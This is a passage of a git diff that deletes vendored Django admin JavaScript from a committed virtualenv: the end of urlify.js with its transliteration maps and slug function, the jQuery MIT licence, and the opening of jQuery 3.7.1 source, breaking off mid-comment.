'е': 'e', 'ё': 'yo', - 'ж': 'zh', 'з': 'z', 'и': 'i', 'й': 'j', 'к': 'k', 'л': 'l', 'м': 'm', - 'н': 'n', 'о': 'o', 'п': 'p', 'р': 'r', 'с': 's', 'т': 't', 'у': 'u', - 'ф': 'f', 'х': 'h', 'ц': 'c', 'ч': 'ch', 'ш': 'sh', 'щ': 'sh', 'ъ': '', - 'ы': 'y', 'ь': '', 'э': 'e', 'ю': 'yu', 'я': 'ya', - 'А': 'A', 'Б': 'B', 'В': 'V', 'Г': 'G', 'Д': 'D', 'Е': 'E', 'Ё': 'Yo', - 'Ж': 'Zh', 'З': 'Z', 'И': 'I', 'Й': 'J', 'К': 'K', 'Л': 'L', 'М': 'M', - 'Н': 'N', 'О': 'O', 'П': 'P', 'Р': 'R', 'С': 'S', 'Т': 'T', 'У': 'U', - 'Ф': 'F', 'Х': 'H', 'Ц': 'C', 'Ч': 'Ch', 'Ш': 'Sh', 'Щ': 'Sh', 'Ъ': '', - 'Ы': 'Y', 'Ь': '', 'Э': 'E', 'Ю': 'Yu', 'Я': 'Ya' - }; - const UKRAINIAN_MAP = { - 'Є': 'Ye', 'І': 'I', 'Ї': 'Yi', 'Ґ': 'G', 'є': 'ye', 'і': 'i', - 'ї': 'yi', 'ґ': 'g' - }; - const CZECH_MAP = { - 'č': 'c', 'ď': 'd', 'ě': 'e', 'ň': 'n', 'ř': 'r', 'š': 's', 'ť': 't', - 'ů': 'u', 'ž': 'z', 'Č': 'C', 'Ď': 'D', 'Ě': 'E', 'Ň': 'N', 'Ř': 'R', - 'Š': 'S', 'Ť': 'T', 'Ů': 'U', 'Ž': 'Z' - }; - const SLOVAK_MAP = { - 'á': 'a', 'ä': 'a', 'č': 'c', 'ď': 'd', 'é': 'e', 'í': 'i', 'ľ': 'l', - 'ĺ': 'l', 'ň': 'n', 'ó': 'o', 'ô': 'o', 'ŕ': 'r', 'š': 's', 'ť': 't', - 'ú': 'u', 'ý': 'y', 'ž': 'z', - 'Á': 'a', 'Ä': 'A', 'Č': 'C', 'Ď': 'D', 'É': 'E', 'Í': 'I', 'Ľ': 'L', - 'Ĺ': 'L', 'Ň': 'N', 'Ó': 'O', 'Ô': 'O', 'Ŕ': 'R', 'Š': 'S', 'Ť': 'T', - 'Ú': 'U', 'Ý': 'Y', 'Ž': 'Z' - }; - const POLISH_MAP = { - 'ą': 'a', 'ć': 'c', 'ę': 'e', 'ł': 'l', 'ń': 'n', 'ó': 'o', 'ś': 's', - 'ź': 'z', 'ż': 'z', - 'Ą': 'A', 'Ć': 'C', 'Ę': 'E', 'Ł': 'L', 'Ń': 'N', 'Ó': 'O', 'Ś': 'S', - 'Ź': 'Z', 'Ż': 'Z' - }; - const LATVIAN_MAP = { - 'ā': 'a', 'č': 'c', 'ē': 'e', 'ģ': 'g', 'ī': 'i', 'ķ': 'k', 'ļ': 'l', - 'ņ': 'n', 'š': 's', 'ū': 'u', 'ž': 'z', - 'Ā': 'A', 'Č': 'C', 'Ē': 'E', 'Ģ': 'G', 'Ī': 'I', 'Ķ': 'K', 'Ļ': 'L', - 'Ņ': 'N', 'Š': 'S', 'Ū': 'U', 'Ž': 'Z' - }; - const ARABIC_MAP = { - 'أ': 'a', 'ب': 'b', 'ت': 't', 'ث': 'th', 'ج': 'g', 'ح': 'h', 'خ': 'kh', 'د': 'd', - 'ذ': 'th', 'ر': 'r', 'ز': 'z', 'س': 's', 'ش': 'sh', 'ص': 's', 'ض': 'd', 'ط': 't', - 'ظ': 'th', 'ع': 'aa', 'غ': 'gh', 'ف': 'f', 'ق': 'k', 'ك': 'k', 'ل': 'l', 'م': 'm', - 'ن': 'n', 'ه': 'h', 'و': 'o', 'ي': 'y' - }; - const LITHUANIAN_MAP = { - 'ą': 'a', 'č': 'c', 'ę': 'e', 'ė': 'e', 'į': 'i', 'š': 's', 'ų': 'u', - 'ū': 'u', 'ž': 'z', - 'Ą': 'A', 'Č': 'C', 'Ę': 'E', 'Ė': 'E', 'Į': 'I', 'Š': 'S', 'Ų': 'U', - 'Ū': 'U', 'Ž': 'Z' - }; - const SERBIAN_MAP = { - 'ђ': 'dj', 'ј': 'j', 'љ': 'lj', 'њ': 'nj', 'ћ': 'c', 'џ': 'dz', - 'đ': 'dj', 'Ђ': 'Dj', 'Ј': 'j', 'Љ': 'Lj', 'Њ': 'Nj', 'Ћ': 'C', - 'Џ': 'Dz', 'Đ': 'Dj' - }; - const AZERBAIJANI_MAP = { - 'ç': 'c', 'ə': 'e', 'ğ': 'g', 'ı': 'i', 'ö': 'o', 'ş': 's', 'ü': 'u', - 'Ç': 'C', 'Ə': 'E', 'Ğ': 'G', 'İ': 'I', 'Ö': 'O', 'Ş': 'S', 'Ü': 'U' - }; - const GEORGIAN_MAP = { - 'ა': 'a', 'ბ': 'b', 'გ': 'g', 'დ': 'd', 'ე': 'e', 'ვ': 'v', 'ზ': 'z', - 'თ': 't', 'ი': 'i', 'კ': 'k', 'ლ': 'l', 'მ': 'm', 'ნ': 'n', 'ო': 'o', - 'პ': 'p', 'ჟ': 'j', 'რ': 'r', 'ს': 's', 'ტ': 't', 'უ': 'u', 'ფ': 'f', - 'ქ': 'q', 'ღ': 'g', 'ყ': 'y', 'შ': 'sh', 'ჩ': 'ch', 'ც': 'c', 'ძ': 'dz', - 'წ': 'w', 'ჭ': 'ch', 'ხ': 'x', 'ჯ': 'j', 'ჰ': 'h' - }; - - const ALL_DOWNCODE_MAPS = [ - LATIN_MAP, - LATIN_SYMBOLS_MAP, - GREEK_MAP, - TURKISH_MAP, - ROMANIAN_MAP, - RUSSIAN_MAP, - UKRAINIAN_MAP, - CZECH_MAP, - SLOVAK_MAP, - POLISH_MAP, - LATVIAN_MAP, - ARABIC_MAP, - LITHUANIAN_MAP, - SERBIAN_MAP, - AZERBAIJANI_MAP, - GEORGIAN_MAP - ]; - - const Downcoder = { - 'Initialize': function() { - if (Downcoder.map) { // already made - return; - } - Downcoder.map = {}; - for (const lookup of ALL_DOWNCODE_MAPS) { - Object.assign(Downcoder.map, lookup); - } - Downcoder.regex = new RegExp(Object.keys(Downcoder.map).join('|'), 'g'); - } - }; - - function downcode(slug) { - Downcoder.Initialize(); - return slug.replace(Downcoder.regex, function(m) { - return Downcoder.map[m]; - }); - } - - - function URLify(s, num_chars, allowUnicode) { - // changes, e.g., "Petty theft" to "petty-theft" - if (!allowUnicode) { - s = downcode(s); - } - s = s.toLowerCase(); // convert to lowercase - // if downcode doesn't hit, the char will be stripped here - if (allowUnicode) { - // Keep Unicode letters including both lowercase and uppercase - // characters, whitespace, and dash; remove other characters. - s = XRegExp.replace(s, XRegExp('[^-_\\p{L}\\p{N}\\s]', 'g'), ''); - } else { - s = s.replace(/[^-\w\s]/g, ''); // remove unneeded chars - } - s = s.replace(/^\s+|\s+$/g, ''); // trim leading/trailing spaces - s = s.replace(/[-\s]+/g, '-'); // convert spaces to hyphens - s = s.substring(0, num_chars); // trim to first num_chars chars - return s.replace(/-+$/g, ''); // trim any trailing hyphens - } - window.URLify = URLify; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/LICENSE.txt b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/LICENSE.txt deleted file mode 100644 index f642c3f7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/LICENSE.txt +++ /dev/null @@ -1,20 +0,0 @@ -Copyright OpenJS Foundation and other contributors, https://openjsf.org/ - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.js deleted file mode 100644 index 1a86433c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/jquery/jquery.js +++ /dev/null @@ -1,10716 +0,0 @@ -/*! - * jQuery JavaScript Library v3.7.1 - * https://jquery.com/ - * - * Copyright OpenJS Foundation and other contributors - * Released under the MIT license - * https://jquery.org/license - * - * Date: 2023-08-28T13:37Z - */ -( function( global, factory ) { - - "use strict"; - - if ( typeof module === "object" && typeof module.exports === "object" ) { - - // For CommonJS and CommonJS-like environments where a proper `window` - // is present, execute the factory and get jQuery. - // For environments that do not have a `window` with a `document` - // (such as Node.js), expose a factory as module.exports. - // This accentuates the need for the creation of a real `window`. - // e.g. var jQuery = require("jquery")(window); - // See ticket trac-14549 for more info. - module.exports = global.document ? - factory( global, true ) : - function( w ) { - if ( !w.document ) { - throw new Error( "jQuery requires a window with a document" ); - } - return factory( w ); - }; - } else { - factory( global ); - } - -// Pass this if window is not defined yet -} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { - -// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 -// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode -// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common -// enough that all such attempts are guarded in a try block. -"use strict"; - -var arr = []; - -var getProto = Object.getPrototypeOf; - -var slice = arr.slice; - -var flat = arr.flat ? function( array ) { - return arr.flat.call( array ); -} : function( array ) { - return arr.concat.apply( [], array ); -}; - - -var push = arr.push; - -var indexOf = arr.indexOf; - -var class2type = {}; - -var toString = class2type.toString; - -var hasOwn = class2type.hasOwnProperty; - -var fnToString = hasOwn.toString; - -var ObjectFunctionString = fnToString.call( Object ); - -var support = {}; - -var isFunction = function isFunction( obj ) { - - // Support: Chrome <=57, Firefox <=52 - // In some browsers, typeof returns "function" for HTML <object> elements - // (i.e., `typeof document.createElement( "object" ) === "function"`). - // We don't want to classify *any* DOM node as a function. - // Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5 - // Plus for old WebKit, typeof returns "function" for HTML collections - // (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756) - return typeof obj === "function" && typeof obj.nodeType !== "number" && - typeof obj.item !== "function"; - }; - - -var isWindow = function isWindow( obj ) { - return obj != null && obj === obj.window; - }; - - -var document = window.document; - - - - var preservedScriptAttributes = { - type: true, - src: true, - nonce: true, - noModule: true - }; - - function DOMEval( code, node, doc ) { - doc = doc || document; - - var i, val, - script = doc.createElement( "script" ); - - script.text = code; - if ( node ) { - for ( i in preservedScriptAttributes ) { - - // Support: Firefox 64+, Edge 18+ - // Some browsers don't support the "nonce" property on scripts. - // On the other hand, just using `getAttribute` is not enough as - // the `nonce` attribute is reset to an empty string whenever it - // becomes browsing-context connected. - // See https://github.com/whatwg/html/issues/2369 - // See https://html.spec.whatwg.org/#nonce-attributes - // The `node.getAttribute` check was added for the sake of - // `jQuery.globalEval` so that it can fake a nonce-containing node - // via an object. - val = node[ i ] || node.getAttribute && node.getAttribute( i ); - if ( val ) { - script.setAttribute( i, val ); - } - } - } - doc.head.appendChild( script ).parentNode.removeChild( script ); - } - - -function toType( obj ) { - if ( obj == null ) { - return obj + ""; - } - - // Support: Android <=2.3 only (functionish RegExp) - return typeof obj === "object" || typeof obj === "function" ? - class2type[ toString.call( obj ) ] || "object" : - typeof obj; -} -/* global Symbol */ -// Defining this global in .eslintrc.json would create a danger of using the global -// unguarded in another place, it seems safer to define global only for this module - - - -var version = "3.7.1", - - rhtmlSuffix = /HTML$/i, - - // Define a local copy of jQuery - jQuery = function( selector, context ) { - - // The jQuery object is actually just the init constructor 'enhanced' - // Need init if jQuery is called (just allow error to be thrown if not included) - return new jQuery.fn.init( selector, context ); - }; - -jQuery.fn = jQuery.prototype = { - - // The current version of jQuery being used - jquery: version, - - constructor: jQuery, - - // The default length of a jQuery object is 0 - length: 0, - - toArray: function() { - return slice.call( this ); - }, - - // Get the Nth element in the matched element set OR - // Get the whole matched element set as a clean array - get: function( num ) { - - // Return all the elements in a clean array - if ( num == null ) { - return slice.call( this ); - } - - // Return just the one element from the set - return num < 0 ? this[ num + this.length ] : this[ num ]; - }, - - // Take an array of elements and push it onto the stack - // (returning the new matched element set) - pushStack: function( elems ) { - - // Build a new jQuery matched element set - var ret = jQuery.merge( this.constructor(), elems ); - - // Add the old object onto the stack (as a reference) - ret.prevObject = this; - - // Return the newly-formed element set - return ret; - }, - - // Execute a callback for every element in the matched set. - each: function( callback ) { - return jQuery.each( this, callback ); - }, - - map: function( callback ) { - return this.pushStack( jQuery.map( this, function( elem, i ) { - return callback.call( elem, i, elem ); - } ) ); - }, - - slice: function() { - return this.pushStack( slice.apply( this, arguments ) ); - }, - - first: function() { - return this.eq( 0 ); - }, - - last: function() { - return this.eq( -1 ); - }, - - even: function() { - return this.pushStack( jQuery.grep( this, function( _elem, i ) { - return ( i + 1 ) % 2; - } ) ); - }, - - odd: function() { - return this.pushStack( jQuery.grep( this, function( _elem, i ) { - return i % 2; - } ) ); - }, - - eq: function( i ) { - var len = this.length, - j = +i + ( i < 0 ? len : 0 ); - return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); - }, - - end: function() { - return this.prevObject || this.constructor(); - }, - - // For internal use only. - // Behaves like an Array's method, not like a jQuery method. - push: push, - sort: arr.sort, - splice: arr.splice -}; - -jQuery.extend = jQuery.fn.extend = function() { - var options, name, src, copy, copyIsArray, clone, - target = arguments[ 0 ] || {}, - i = 1, - length = arguments.length, - deep = false; - - // Handle a deep copy situation - if ( typeof target === "boolean" ) { - deep = target; - - // Skip the boolean and the target - target = arguments[ i ] || {}; - i++; - } - - // Handle case when target is a string or something (possible in deep copy) - if ( typeof target !== "object" && !isFunction( target ) ) { - target = {}; - } - - // Extend jQuery itself if only one argument is passed - if ( i === length ) { - target = this; - i--; - } - - for ( ; i < length; i++ ) { - - // Only deal with non-null/undefined values - if ( ( options = arguments[ i ] ) != null ) { - - // Extend the base object - for ( name in options ) { - copy = options[ name ]; - - // Prevent Object.prototype pollution - // Prevent never-ending loop - if ( name === "__proto__" || target === copy ) { - continue; - } - - // Recurse if we're merging plain objects or arrays - if ( deep && copy && ( jQuery.isPlainObject( copy ) || - ( copyIsArray = Array.isArray( copy ) ) ) ) { - src = target[ name ]; - - // Ensure proper type for the source value - if ( copyIsArray && !Array.isArray( src ) ) { - clone = []; - } else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) { - clone = {}; - } else { - clone = src; - } - copyIsArray = false; - - // Never move original objects, clone them - target[ name ] = jQuery.extend( deep, clone, copy ); - - // Don't bring in undefined values - } else if ( copy !== undefined ) { - target[ name ] = copy; - } - } - } - } - - // Return the modified object - return target; -}; - -jQuery.extend( { - - // Unique for each copy of jQuery on the page - expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), - - // Assume jQuery is ready without the ready module - isReady: true, - - error: function( msg ) { - throw new Error( msg ); - }, - - noop: function() {}, - - isPlainObject: function( obj ) { - var proto, Ctor; - - // Detect obvious negatives - // Use toString instead of jQuery.type to catch host objects - if ( !obj || toString.call( obj ) !== "[object Object]" ) { - return false; - } - - proto = getProto( obj ); - - // Objects with no prototype (e.g., `Object.create( null )`) are plain - if ( !proto ) { - return true; - } - - // Objects with prototype are plain iff they were constructed by a global Object function - Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; - return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; - }, - - isEmptyObject: function( obj ) { - var name; - - for ( name in obj ) { - return false; - } - return true; - }, - - // Evaluates a script in a provided context; falls back to the global one - // if not specified. - globalEval: function( code, options, doc ) { - DOMEval( code, { nonce: options && options.nonce }, doc ); - }, - - each: function( obj, callback ) { - var length, i = 0; - - if ( isArrayLike( obj ) ) { - length = obj.length; - for ( ; i < length; i++ ) { - if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { - break; - } - } - } else { - for ( i in obj ) { - if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { - break; - } - } - } - - return obj; - }, - - - // Retrieve the text value of an array of DOM nodes - text: function( elem ) { - var node, - ret = "", - i = 0, - nodeType = elem.nodeType; - - if ( !nodeType ) { - - // If no nodeType, this is expected to be an array - while ( ( node = elem[ i++ ] ) ) { - - // Do not traverse comment nodes - ret += jQuery.text( node ); - } - } - if ( nodeType === 1 || nodeType === 11 ) { - return elem.textContent; - } - if ( nodeType === 9 ) { - return elem.documentElement.textContent; - } - if ( nodeType === 3 || nodeType === 4 ) { - return elem.nodeValue; - } - - // Do not include comment or processing instruction nodes - - return ret; - }, - - // results is for internal usage only - makeArray: function( arr, results ) { - var ret = results || []; - - if ( arr != null ) { - if ( isArrayLike( Object( arr ) ) ) { - jQuery.merge( ret, - typeof arr === "string" ? - [ arr ] : arr - ); - } else { - push.call( ret, arr ); - } - } - - return ret; - }, - - inArray: function( elem, arr, i ) { - return arr == null ? -1 : indexOf.call( arr, elem, i ); - }, - - isXMLDoc: function( elem ) { - var namespace = elem && elem.namespaceURI, - docElem = elem && ( elem.ownerDocument || elem ).documentElement; - - // Assume HTML when documentElement doesn't yet exist, such as inside - // document fragments. - return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" ); - }, - - // Support: Android <=4.0 only, PhantomJS 1 only - // push.apply(_, arraylike) throws on ancient WebKit - merge: function( first, second ) { - var len = +second.length, - j = 0, - i = first.length; - - for ( ; j < len; j++ ) { - first[ i++ ] = second[ j ]; - } - - first.length = i; - - return first; - }, - - grep: function( elems, callback, invert ) { - var callbackInverse, - matches = [], - i = 0, - length = elems.length, - callbackExpect = !invert; - - // Go through the array, only saving the items - // that pass the validator function - for ( ; i < length; i++ ) { - callbackInverse = !callback( elems[ i ], i ); - if ( callbackInverse !== callbackExpect ) { - matches.push( elems[ i ] ); - } - } - - return matches; - }, - - // arg is for internal usage only - map: function( elems, callback, arg ) { - var length, value, - i = 0, - ret = []; - - // Go through the array, translating each of the items to their new values - if ( isArrayLike( elems ) ) { - length = elems.length; - for ( ; i < length; i++ ) { - value = callback( elems[ i ], i, arg ); - - if ( value != null ) { - ret.push( value ); - } - } - - // Go through every key on the object, - } else { - for ( i in elems ) { - value = callback( elems[ i ], i, arg ); - - if ( value != null ) { - ret.push( value ); - } - } - } - - // Flatten any nested arrays - return flat( ret ); - }, - - // A global GUID counter for objects - guid: 1, - - // jQuery.support is not used in Core but other projects attach their - // properties to it so it needs to exist. - support: support -} ); - -if ( typeof Symbol === "function" ) { - jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; -} - -// Populate the class2type map -jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), - function( _i, name ) { - class2type[ "[object " + name + "]" ] = name.toLowerCase(); - } ); - -function isArrayLike( obj ) { - - // Support: real iOS 8.2 only (not reproducible in simulator) - // `in` check used to prevent JIT error (gh-2145) - // hasOwn isn't used here due to false negatives - // regarding Nodelist length in IE - var length = !!obj && "length" in obj && obj.length, - type = toType( obj ); - - if ( isFunction( obj ) || isWindow( obj ) ) { - return false; - } - - return type === "array" || length === 0 || - typeof length === "number" && length > 0 && ( length - 1 ) in obj; -} - - -function nodeName( elem, name ) { - - return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); - -} -var pop = arr.pop; - - -var sort = arr.sort; - - -var splice = arr.splice; - - -var whitespace = "[\\x20\\t\\r\\n\\f]"; - - -var rtrimCSS = new RegExp( - "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", - "g" -); - - - - -// Note: an element does not contain itself -jQuery.contains = function( a, b ) { - var bup = b && b.parentNode; - - return a === bup || !!( bup && bup.nodeType === 1 && ( - - // Support: IE 9 - 11+ - // IE doesn't have `contains` on SVG. - a.contains ? - a.contains( bup ) : - a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 - ) ); -}; - - - - -// CSS string/identifier serialization -// https://drafts.csswg.org/cssom/#common-serializing-idioms -var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g; - -function fcssescape( ch, asCodePoint ) { - if ( asCodePoint ) { - - // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER - if ( ch === "\0" ) { - return "\uFFFD"; - } - - // Control characters and (dependent upon position) numbers get escaped as code points - return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; - } - - // Other potentially-special ASCII characters get backslash-escaped - return "\\" + ch; -} - -jQuery.escapeSelector = function( sel ) { - return ( sel + "" ).replace( rcssescape, fcssescape ); -}; - - - - -var preferredDoc = document, - pushNative = push; - -( function() { - -var i, - Expr, - outermostContext, - sortInput, - hasDuplicate, - push = pushNative, - - // Local document vars - document, - documentElement, - documentIsHTML, - rbuggyQSA, - matches, - - // Instance-specific data - expando = jQuery.expando, - dirruns = 0, - done = 0, - classCache = createCache(), - tokenCache = createCache(), - compilerCache = createCache(), - nonnativeSelectorCache = createCache(), - sortOrder = function( a, b ) { - if ( a === b ) { - hasDuplicate = true; - } - return 0; - }, - - booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|" + - "loop|multiple|open|readonly|required|scoped", - - // Regular expressions - - // https://www.w3.org/TR/css-syntax-3/#ident-token-diagram - identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace + - "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+", - - // Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors - attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + - - // Operator (capture 2) - "*([*^$|!~]?=)" + whitespace + - - // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" - "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + - whitespace + "*\\]", - - pseudos = ":(" + identifier + ")(?:\\((" + - - // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: - // 1. quoted (capture 3; capture 4 or capture 5) - "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + - - // 2. simple (capture 6) - "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + - - // 3. anything else (capture 2) - ".*" + - ")\\)|)", - - // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter - rwhitespace = new RegExp( whitespace + "+", "g" ), - - rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), - rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + - whitespace + "*" ), - rdescend = new RegExp( whitespace + "|>" ), - - rpseudo = new RegExp( pseudos ), - ridentifier = new RegExp( "^" + identifier + "$" ), - - matchExpr = { - ID: new RegExp( "^#(" + identifier + ")" ), - CLASS: new RegExp( "^\\.(" + identifier + ")" ), - TAG: new RegExp( "^(" + identifier + "|[*])" ), - ATTR: new RegExp( "^" + attributes ), - PSEUDO: new RegExp( "^" + pseudos ), - CHILD: new RegExp( - "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + - whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + - whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), - bool: new RegExp( "^(?:" + booleans + ")$", "i" ), - - // For use in libraries implementing .is() - // We use this for POS matching in `select` - needsContext: new RegExp( "^" + whitespace + - "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + - "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) - }, - - rinputs = /^(?:input|select|textarea|button)$/i, - rheader = /^h\d$/i, - - // Easily-parseable/retrievable ID or TAG or CLASS selectors - rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, - - rsibling = /[+~]/, - - // CSS escapes - // https://www.w3.org/TR/CSS21/syndata.html#escaped-characters - runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace + - "?|\\\\([^\\r\\n\\f])", "g" ), - funescape = function( escape, nonHex ) { - var high = "0x" + escape.slice( 1 ) - 0x10000; - - if ( nonHex ) { - - // Strip the backslash prefix from a non-hex escape sequence - return nonHex; - } - - // Replace a hexadecimal escape sequence with the encoded Unicode code point - // Support: IE <=11+ - // For values outside the Basic Multilingual Plane (BMP), manually construct a - // surrogate pair - return high < 0 ? - String.fromCharCode( high + 0x10000 ) : - String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); - }, - - // Used for iframes; see `setDocument`. - // Support: IE 9 - 11+, Edge 12 - 18+ - // Removing the function wrapper causes a "Permission Denied" - // error in IE/Edge. - unloadHandler = function() { - setDocument(); - }, - - inDisabledFieldset = addCombinator( - function( elem ) { - return elem.disabled === true && nodeName( elem, "fieldset" ); - }, - { dir: "parentNode", next: "legend" } - ); - -// Support: IE <=9 only -// Accessing document.activeElement can throw unexpectedly -// https://bugs.jquery.com/ticket/13393 -function safeActiveElement() { - try { - return document.activeElement; - } catch ( err ) { } -} - -// Optimize for push.apply( _, NodeList ) -try { - push.apply( - ( arr = slice.call( preferredDoc.childNodes ) ), - preferredDoc.childNodes - ); - - // Support: Android <=4.0 - // Detect silently failing push.apply - // eslint-disable-next-line no-unused-expressions - arr[ preferredDoc.childNodes.length ].nodeType; -} catch ( e ) { - push = { - apply: function( target, els ) { - pushNative.apply( target, slice.call( els ) ); - }, - call: function( target ) { - pushNative.apply( target, slice.call( arguments, 1 ) ); - } - }; -} - -function find( selector, context, results, seed ) { - var m, i, elem, nid, match, groups, newSelector, - newContext = context && context.ownerDocument, - - // nodeType defaults to 9, since context defaults to document - nodeType = context ? context.nodeType : 9; - - results = results || []; - - // Return early from calls with invalid selector or context - if ( typeof selector !== "string" || !selector || - nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { - - return results; - } - - // Try to shortcut find operations (as opposed to filters) in HTML documents - if ( !seed ) { - setDocument( context ); - context = context || document; - - if ( documentIsHTML ) { - - // If the selector is sufficiently simple, try using a "get*By*" DOM method - // (excepting DocumentFragment context, where the methods don't exist) - if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) { - - // ID selector - if ( ( m = match[ 1 ] ) ) { - - // Document context - if ( nodeType === 9 ) { - if ( ( elem = context.getElementById( m ) ) ) { - - // Support: IE 9 only - // getElementById can match elements by name instead of ID - if ( elem.id === m ) { - push.call( results, elem ); - return results; - } - } else { - return results; - } - - // Element context - } else { - - // Support: IE 9 only - // getElementById can match elements by name instead of ID - if ( newContext && ( elem = newContext.getElementById( m ) ) && - find.contains( context, elem ) && - elem.id === m ) { - - push.call( results, elem ); - return results; - } - } - - // Type selector - } else if ( match[ 2 ] ) { - push.apply( results, context.getElementsByTagName( selector ) ); - return results; - - // Class selector - } else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) { - push.apply( results, context.getElementsByClassName( m ) ); - return results; - } - } - - // Take advantage of querySelectorAll - if ( !nonnativeSelectorCache[ selector + " " ] && - ( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) { - - newSelector = selector; - newContext = context; - - // qSA considers elements outside a scoping root when evaluating child or - // descendant combinators, which is not what we want. - // In such cases, we work around the behavior by prefixing every selector in the - // list with an ID selector referencing the scope context. - // The technique has to be used as well when a leading combinator is used - // as such selectors are not recognized by querySelectorAll. - // Thanks to Andrew Dupont for this technique. - if ( nodeType === 1 && - ( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) { - - // Expand context for sibling selectors - newContext = rsibling.test( selector ) && testContext( context.parentNode ) || - context; - - // We can use :scope instead of the ID hack if the browser - // supports it & if we're not changing the context. - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when - // strict-comparing two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( newContext != context || !support.scope ) { - - // Capture the context ID, setting it first if necessary - if ( ( nid = context.getAttribute( "id" ) ) ) { - nid = jQuery.escapeSelector( nid ); - } else { - context.setAttribute( "id", ( nid = expando ) ); - } - } - - // Prefix every selector in the list - groups = tokenize( selector ); - i = groups.length; - while ( i-- ) { - groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " + - toSelector( groups[ i ] ); - } - newSelector = groups.join( "," ); - } - - try { - push.apply( results, - newContext.querySelectorAll( newSelector ) - ); - return results; - } catch ( qsaError ) { - nonnativeSelectorCache( selector, true ); - } finally { - if ( nid === expando ) { - context.removeAttribute( "id" ); - } - } - } - } - } - - // All others - return select( selector.replace( rtrimCSS, "$1" ), context, results, seed ); -} - -/** - * Create key-value caches of limited size - * @returns {function(string, object)} Returns the Object data after storing it on itself with - * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) - * deleting the oldest entry - */ -function createCache() { - var keys = []; - - function cache( key, value ) { - - // Use (key + " ") to avoid collision with native prototype properties - // (see 